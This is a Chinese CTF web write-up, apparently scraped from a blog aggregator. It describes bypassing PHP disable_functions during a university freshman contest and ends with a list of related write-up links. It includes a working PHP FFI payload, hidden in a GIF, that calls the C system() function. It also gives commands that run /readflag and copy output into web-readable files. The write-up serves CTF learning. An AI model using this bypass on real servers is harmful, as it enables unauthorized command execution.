从RCTF nextphp看PHP7.4的FFI绕过disable_functions

bypass disable_function多种方法+实例

常见 Bypass Disable Functions 的方法总结

绕过Disable Functions来搞事情


// 写在gif中的payload
$ffi = FFI::cdef("int system(char* command);");   # 声明C语言中的system函数
$ffi ->system("ls / > /tmp/res.txt");   # 执行ls /命令并将结果写入/tmp/res.txt

?>

上面的GIF图里面就是Bypass执行的命令

到这里了我简单说一下

首先file_put_content是可以写入php的

但是eval没法执行,蚁剑是没法链接的

然后写了远程包含啥的 当然都没禁止了 没意思

然后的话 linux的可以执行写文件啥的

发现可以直接写文件,但是怎么都不能读取flag

那么进入最后的坑~

ELF可执行文件

参考链接

Linux花式读取文件内容的几个命令

CTF中的命令执行绕过方式

命令执行到提权

利用通配符进行Linux本地提权

Linux可执行文件elf分析

GKCTF-WEB题目部分复现

到最后一步了~

我用命令cat / | tee ./1.txt 然后浏览1.txt发现了flag

正当我满心欢喜以为做出来了 结果才是噩梦!

怎么都读不到 然后拿readflag结果是下载8K的文件?我人傻了

然后我就灵感一闪~去看我是谁以及权限

2021暨南大学CTF新生杯(Web篇)_第40张图片

直接好家伙 要提权? 用了sudo尝试了下 好吧我是xx

直到我看见了ELF文件是可执行的!!

那我刚才把readflag下载下来并且丢到kail中分析

不就是ELF文件吗??!!!

但是这个文件怎么用呢??开始查找!

直到 /readflag > /tmp/1

然后再 cat /tmp/1 | tee ./2.txt

卧槽! 出了!

【杂七杂八】拓展链接

在我做题的时候我属于边学边做,找到了一些不错的链接

下来写复盘的话,生怕浏览记录没了,一个个筛选

陆陆续续写的 有的内容相似重复啥的 见谅~

  • python OpenCV 图片相似度 5种算法

  • 任意密码修改、XFF绕过及文件上传

  • 南邮CG-CTF—Web writeup第二部分

  • SWPUCTF2018-WEB&MISC Write Up

  • BugkuCTF 部分题解(持续更新)

  • “百度杯”CTF比赛 十月场 Not Found

  • 与 .htaccess 相关的奇淫技巧

  • CTF-WEB:文件上传和 webshell

  • 从InCTF2019的一道题学习disable_function_bypass

  • [GKCTF]wp

  • GKCTF2020 WEB wp

  • CTF 2019 Mywebsql Echohub WriteUp

  • php代码审计前奏之ctfshow之命令执行

  • CTF下的命令执行

  • php代码审计前奏之ctfshow之文件上传

  • 一句话木马踩坑记(assert()与eval())

  • 浅析CTF绕过字符数字构造shell

  • CTF中WEB题——RCE

  • RCE命令注入-过滤CAT

  • CTF中WEB题——RCE

  • CTF题目思考–极限利用

  • php代码/命令执行漏洞

  • 浅谈PHP代码执行中出现过滤限制的绕过执行方法

  • 老生常谈的无字母数字 Webshell 总结

  • CTF下的命令执行漏洞利用及绕过方法总结

  • 一位大佬的博客

你可能感兴趣的:(安全,前端,安全,web安全,信息安全)